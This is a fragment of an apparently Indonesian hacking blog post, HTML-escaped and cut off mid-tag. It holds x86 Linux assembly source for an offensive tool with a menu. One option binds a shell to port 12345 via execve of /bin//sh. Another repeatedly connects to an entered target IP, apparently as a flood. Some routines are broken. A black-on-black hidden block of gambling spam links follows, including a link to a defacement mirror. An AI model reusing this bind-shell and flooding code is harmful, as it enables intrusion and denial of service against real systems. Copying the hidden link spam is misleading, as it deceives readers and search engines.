/&gt;kon_gagal&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; db "[-] wtf dude ? failed at connect() ",13,10 &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;warning&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; db "warning !!! do not use hostname&amp;nbsp; !!! use target ip address instead !!!",13,10&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;pjg_warning&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; equ $ - warning&lt;br /&gt;&lt;br /&gt;ask_target&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; db "enter target ip address&amp;nbsp; : ",0&lt;br /&gt;target&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; db "%s", 0&lt;br /&gt;ask_loop&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; db "enter target ip address&amp;nbsp; : ",0&lt;br /&gt;&lt;br /&gt;fd&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;dd&amp;nbsp;&amp;nbsp; &amp;nbsp;0&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;struc sockaddr_in&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;.sin_family&amp;nbsp;&amp;nbsp; &amp;nbsp;resw&amp;nbsp;&amp;nbsp; &amp;nbsp;1&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;.sin_port&amp;nbsp;&amp;nbsp; &amp;nbsp;resw&amp;nbsp;&amp;nbsp; &amp;nbsp;1&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;.sin_addr&amp;nbsp;&amp;nbsp; &amp;nbsp;resd&amp;nbsp;&amp;nbsp; &amp;nbsp;1&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;resb&amp;nbsp;&amp;nbsp; &amp;nbsp;8&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;endstruc&lt;br /&gt;struktur istruc&amp;nbsp;&amp;nbsp; &amp;nbsp;sockaddr_in&amp;nbsp;&amp;nbsp; &lt;br /&gt;;eof gs.asm nuk3r &lt;br /&gt;&lt;br /&gt;section .text&lt;br /&gt;main:&lt;br /&gt;jmp _ev1lut10n&lt;br /&gt;&lt;br /&gt;_procedure_writeln:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; mov ebp,esp&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; mov ebx,0x1&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; mov eax,0x4&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; int 80h&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;;mov ah,09h&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;;mov dx,offset str1ng&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;;int 21h&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; mov esp,ebp &lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; pop ebp&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; ret&lt;br /&gt;&lt;br /&gt;_procedure_tampilan_proses:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebp,esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xor eax,eax &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xor ecx,ecx &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xor edx,edx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push eax &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push 0x73702f2f &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push 0x6e69622f &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebx, esp &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov eax, 11&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; int 80h&lt;br /&gt;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov esp,ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; pop ebp&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ret&lt;br /&gt;&lt;br /&gt;;start socket operation without c library&lt;br /&gt;__________ev1lut10n____________________bind12345:&lt;br /&gt;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;mov ebp,esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;push byte 2&lt;br /&gt;&amp;nbsp;pop eax&lt;br /&gt;&amp;nbsp;int 80h&lt;br /&gt;&lt;br /&gt;mov esp,ebp &lt;br /&gt;pop ebp&lt;br /&gt;&lt;br /&gt;__________ev1lut10n____________________soket:&lt;br /&gt;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;mov ebp,esp&lt;br /&gt;&lt;br /&gt;push byte&amp;nbsp; 0x0 &lt;br /&gt;push byte&amp;nbsp; 0x1 &lt;br /&gt;push byte&amp;nbsp; 0x2 &lt;br /&gt;&lt;br /&gt;mov&amp;nbsp; eax, 102&lt;br /&gt;mov&amp;nbsp; ebx, 0x1&lt;br /&gt;mov&amp;nbsp; ecx,esp &lt;br /&gt;int&amp;nbsp; 80h&lt;br /&gt;&lt;br /&gt;mov edx,&amp;nbsp;&amp;nbsp;&amp;nbsp; eax&lt;br /&gt;&lt;br /&gt;mov esp,ebp &lt;br /&gt;pop ebp&lt;br /&gt;&lt;br /&gt;_________ev1lut10n_____________________binder:&lt;br /&gt;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;mov ebp,esp&lt;br /&gt;&lt;br /&gt;push&amp;nbsp;&amp;nbsp;&amp;nbsp; byte 0&lt;br /&gt;push&amp;nbsp;&amp;nbsp;&amp;nbsp; byte 0&lt;br /&gt;push&amp;nbsp;&amp;nbsp;&amp;nbsp; byte 0&lt;br /&gt;push&amp;nbsp;&amp;nbsp;&amp;nbsp; word 0x3930&lt;br /&gt;push&amp;nbsp;&amp;nbsp;&amp;nbsp; word 2&lt;br /&gt;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ebx, esp&lt;br /&gt;&lt;br /&gt;push&amp;nbsp;&amp;nbsp;&amp;nbsp; byte 16&lt;br /&gt;push&amp;nbsp;&amp;nbsp;&amp;nbsp; ebx&lt;br /&gt;push&amp;nbsp;&amp;nbsp;&amp;nbsp; edx&lt;br /&gt;&lt;br /&gt;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax,102 &lt;br /&gt;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ebx,2&lt;br /&gt;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ecx,esp&lt;br /&gt;int&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 80h&lt;br /&gt;&lt;br /&gt;mov esp,ebp &lt;br /&gt;pop ebp&lt;br /&gt;&lt;br /&gt;___________ev1lut10n___________________lisen:&lt;br /&gt;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;mov ebp,esp&lt;br /&gt;&lt;br /&gt;push&amp;nbsp;&amp;nbsp;&amp;nbsp; byte&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x1&lt;br /&gt;push&amp;nbsp;&amp;nbsp;&amp;nbsp; edx&lt;br /&gt;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax,102&lt;br /&gt;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ebx,4&lt;br /&gt;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ecx,esp&lt;br /&gt;int&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 80h&lt;br /&gt;&lt;br /&gt;mov esp,ebp &lt;br /&gt;pop ebp&lt;br /&gt;&lt;br /&gt;__________ev1lut10n____________________acep:&lt;br /&gt;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;mov ebp,esp&lt;br /&gt;&lt;br /&gt;push&amp;nbsp;&amp;nbsp;&amp;nbsp; byte 0&lt;br /&gt;push&amp;nbsp;&amp;nbsp;&amp;nbsp; byte 0&lt;br /&gt;push&amp;nbsp;&amp;nbsp;&amp;nbsp; edx&lt;br /&gt;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax,102&lt;br /&gt;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ebx,5&lt;br /&gt;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ecx,esp&lt;br /&gt;int&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 80h&lt;br /&gt;&lt;br /&gt;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; edx, eax&lt;br /&gt;&lt;br /&gt;mov esp,ebp &lt;br /&gt;pop ebp&lt;br /&gt;&lt;br /&gt;___________ev1lut10n___________________siap_fd:&lt;br /&gt;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;mov ebp,esp&lt;br /&gt;&lt;br /&gt;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax,63&lt;br /&gt;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ebx,edx&lt;br /&gt;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ebx,2&lt;br /&gt;int&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 80h&lt;br /&gt;&lt;br /&gt;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax,63&lt;br /&gt;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ebx,edx&lt;br /&gt;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ecx,1&lt;br /&gt;int&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 80h&lt;br /&gt;&lt;br /&gt;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax,63&lt;br /&gt;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ebx,edx&lt;br /&gt;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ecx,0&lt;br /&gt;int&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 80h&lt;br /&gt;&lt;br /&gt;mov esp,ebp &lt;br /&gt;pop ebp&lt;br /&gt;&lt;br /&gt;___________ev1lut10n___________________eksekusi:&lt;br /&gt;&amp;nbsp;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;mov ebp,esp&lt;br /&gt;&lt;br /&gt;push BYTE 11&lt;br /&gt;pop eax&lt;br /&gt;push ecx&lt;br /&gt;push 0x68732f2f&lt;br /&gt;push 0x6e69622f&lt;br /&gt;mov ebx, esp&lt;br /&gt;push ecx&lt;br /&gt;mov edx, esp&lt;br /&gt;push ebx&lt;br /&gt;mov ecx, esp&lt;br /&gt;int 80h&lt;br /&gt;&lt;br /&gt;mov esp,ebp &lt;br /&gt;pop ebp&lt;br /&gt;&lt;br /&gt;bersih2:&lt;br /&gt;&amp;nbsp;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;mov ebp,esp&lt;br /&gt;&lt;br /&gt;push byte 0x06&lt;br /&gt;pop eax&lt;br /&gt;int 80h&lt;br /&gt;jmp keluar&lt;br /&gt;&lt;br /&gt;mov esp,ebp &lt;br /&gt;pop ebp&lt;br /&gt;;eof socket operation without c library&lt;br /&gt;&lt;br /&gt;;start stack op&lt;br /&gt;pr3p4r3_gs_asm:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebp,esp&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov eax,10000&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_fok&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,fok&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_procedure_writeln)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_banner&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,banner&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_procedure_writeln)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_programmer&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,programmer&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_procedure_writeln)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_fok&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,fok&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_procedure_writeln)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push dword ask_target&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call printf&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push dword targetx&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push dword target&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call scanf&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;while:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;cmp eax,0&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;je finish&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; &amp;nbsp;dword 0&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; &amp;nbsp;dword SOCK_STREAM&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; &amp;nbsp;dword AF_INET&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call&amp;nbsp;&amp;nbsp; &amp;nbsp;socket&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp; &amp;nbsp;[fd], eax&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp; &amp;nbsp;word [struktur+sockaddr_in.sin_family], AF_INET&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; &amp;nbsp;dword (struktur + sockaddr_in.sin_addr)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; &amp;nbsp;dword targetx&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call&amp;nbsp;&amp;nbsp; &amp;nbsp;inet_aton&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; &amp;nbsp;word PORT&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call&amp;nbsp;&amp;nbsp; &amp;nbsp;htons&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp; &amp;nbsp;word [struktur+sockaddr_in.sin_port], ax&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; &amp;nbsp;dword sockaddr_in_size&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; &amp;nbsp;dword struktur&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; &amp;nbsp;dword [fd]&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call&amp;nbsp;&amp;nbsp; &amp;nbsp;connect&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov edx,pjg_tunggu&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,tunggu&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_procedure_writeln)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; inc eax &amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jmp while &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;finish:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov edx,pjg_akhir&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,akhir&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_procedure_writeln)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov esp,ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pop ebp&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ret&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_ev1lut10n:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebp,esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_data&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,data&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_procedure_writeln)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_c0d3r&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,c0d3r&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_procedure_writeln)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_menu1&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,menu1&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_procedure_writeln)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_menu2&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,menu2&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_procedure_writeln)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_menu3&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,menu3&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_procedure_writeln)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_c0ns0l3&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,c0ns0l3&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_procedure_writeln)&lt;br /&gt;;(gdb) x/s&amp;nbsp; 0x8049268&lt;br /&gt;;0x8049268 &amp;lt;pilih_on_heap&amp;gt;:&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp; mov&amp;nbsp; eax,3&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; mov&amp;nbsp; ebx,0&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; mov&amp;nbsp; ecx,pilih_on_heap &amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; int&amp;nbsp;&amp;nbsp;&amp;nbsp; 80h&lt;br /&gt;&amp;nbsp; push eax&lt;br /&gt;&amp;nbsp; mov&amp;nbsp; eax,4&lt;br /&gt;&amp;nbsp; mov&amp;nbsp; ebx,1&lt;br /&gt;&amp;nbsp; mov&amp;nbsp; ecx,signed&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; mov&amp;nbsp; edx,pjg_signed&lt;br /&gt;&amp;nbsp; int&amp;nbsp;&amp;nbsp;&amp;nbsp; 80h&lt;br /&gt;&lt;br /&gt;&amp;nbsp; mov&amp;nbsp; eax,4&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; mov&amp;nbsp; ebx,1&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; mov&amp;nbsp; ecx,pilih_on_heap&lt;br /&gt;&amp;nbsp; pop&amp;nbsp; edx&lt;br /&gt;&amp;nbsp; int&amp;nbsp; 80h&lt;br /&gt;&amp;nbsp;xor eax,eax&lt;br /&gt;&amp;nbsp;mov eax, dword [pilih_on_heap] &lt;br /&gt;cmp eax,'proc'&lt;br /&gt;je _procedure_tampilan_proses&lt;br /&gt;cmp eax,'nuke'&lt;br /&gt;je pr3p4r3_gs_asm&lt;br /&gt;cmp eax,'bind'&lt;br /&gt;je __________ev1lut10n____________________bind12345&lt;br /&gt;&lt;br /&gt;jmp short keluar&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov esp,ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; pop ebp&lt;br /&gt;&lt;br /&gt;keluar:&lt;br /&gt;nop &lt;br /&gt;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax,0x01&lt;br /&gt;int&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 80h&lt;br /&gt;nop &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div name="ev1lut10n_1s_m4f14_dont_play_with_me_one_day_you_die" style="background-color: black;"&gt;&lt;a href="http://www.ffbmania.com/" title="agen bola sbobet"&gt;&lt;span style="color: black;"&gt;http://ffbmania.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ourbetting.com/" title="agen bola sbobet"&gt;&lt;span style="color: black;"&gt;http://ourbetting.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.royalbet77.com/" title="agen bola sbobet"&gt;&lt;span style="color: black;"&gt;http://royalbet77.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.zonabets.com/" title="agen bola sbobet"&gt;&lt;span style="color: black;"&gt;http://zonabets.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ffbmania.com/" title="agen bola sbobet"&gt;&lt;span style="color: black;"&gt;http://ffbmania.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ourbetting.com/" title="agen bola sbobet"&gt;&lt;span style="color: black;"&gt;http://ourbetting.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.royalbet77.com/" title="agen bola sbobet"&gt;&lt;span style="color: black;"&gt;http://royalbet77.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.zonabets.com/" title="agen bola sbobet"&gt;&lt;span style="color: black;"&gt;http://zonabets.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ffbmania.com/" title="agen bola sbobet"&gt;&lt;span style="color: black;"&gt;http://ffbmania.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ourbetting.com/" title="agen bola sbobet"&gt;&lt;span style="color: black;"&gt;http://ourbetting.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://zonehmirrors.net/defaced/2012/01/15/wheelsmotorcycles.co.uk/css/taruhan_bola.html" title="agen bola"&gt;&lt;span style="color: black;"&gt;http://zonehmirrors.net/defaced/2012/01/15/wheelsmotorcycles.co.uk/css/taruhan_bola.html&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.pasangbet.com/" title="agen bola sbobet"&gt;&lt;span style="color: black;"&gt;http://pasangbet.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ffbmania.com/" title="agen bola sbobet"&gt;&lt;span style="color: black;"&gt;http://ffbmania.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ourbetting.com/" title="agen bola sbobet"&gt;&lt;span style="color: black;"&gt;http://ourbetting.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.royalbet77.com/" title="agen bola sbobet"&gt;&lt;span style="color: black;"&gt;http://royalbet77.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.zonabets.com/" title="agen bola sbobet"&gt;&lt;span style="color: black;"&gt;http://zonabets.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ferrymulyanaditangkap.blogspot.com/" title="agen bola ibcbet"&gt;&lt;span style="color: 